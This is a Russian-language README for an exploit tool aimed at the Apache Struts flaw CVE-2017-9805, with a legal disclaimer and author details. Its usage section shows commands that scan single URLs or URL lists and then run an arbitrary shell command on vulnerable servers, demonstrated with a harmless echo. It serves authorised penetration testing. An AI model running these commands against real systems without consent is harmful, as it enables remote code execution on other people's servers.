apache-struts-pwn - CVE-2017-9805 Эксплойт

Эксплойт для Apache Struts CVE-2017-9805

Использование

Проверка наличия уязвимости на одном URL.

python apache-struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3'

Проверка наличия уязвимости для списка URL.

python apache-struts-pwn.py --list 'urls.txt'

Эксплуатация одного URL.

python apache-struts-pwn.py --exploit --url 'http://example.com/struts2-showcase/index.action' -c 'echo test > /tmp/apache-struts-pwn'

Эксплуатация списка URL.

python apache-struts-pwn.py --exploit --list 'urls.txt' -c 'echo test > /tmp/apache-struts-pwn'

Требования

• Python2 или Python3
• requests

Правовой отказ от ответственности

Этот проект создан только для образовательных и этических целей тестирования. Использование struts-pwn для атаки на цели без предварительного взаимного согласия является незаконным. Соблюдение всех применимых местных, государственных и федеральных законов является обязанностью конечного пользователя. Разработчики не несут ответственности и не отвечают за любое неправомерное использование или ущерб, причинённый этой программой.

Лицензия

Проект лицензирован в соответствии с лицензией MIT.

Автор

Mazin Ahmed

• Сайт: https://lonerangerweb.wordpress.com/
• Email: ultimate31337[AT]gmail[DOT]com
• Twitter: https://twitter.com/lon3_rang3r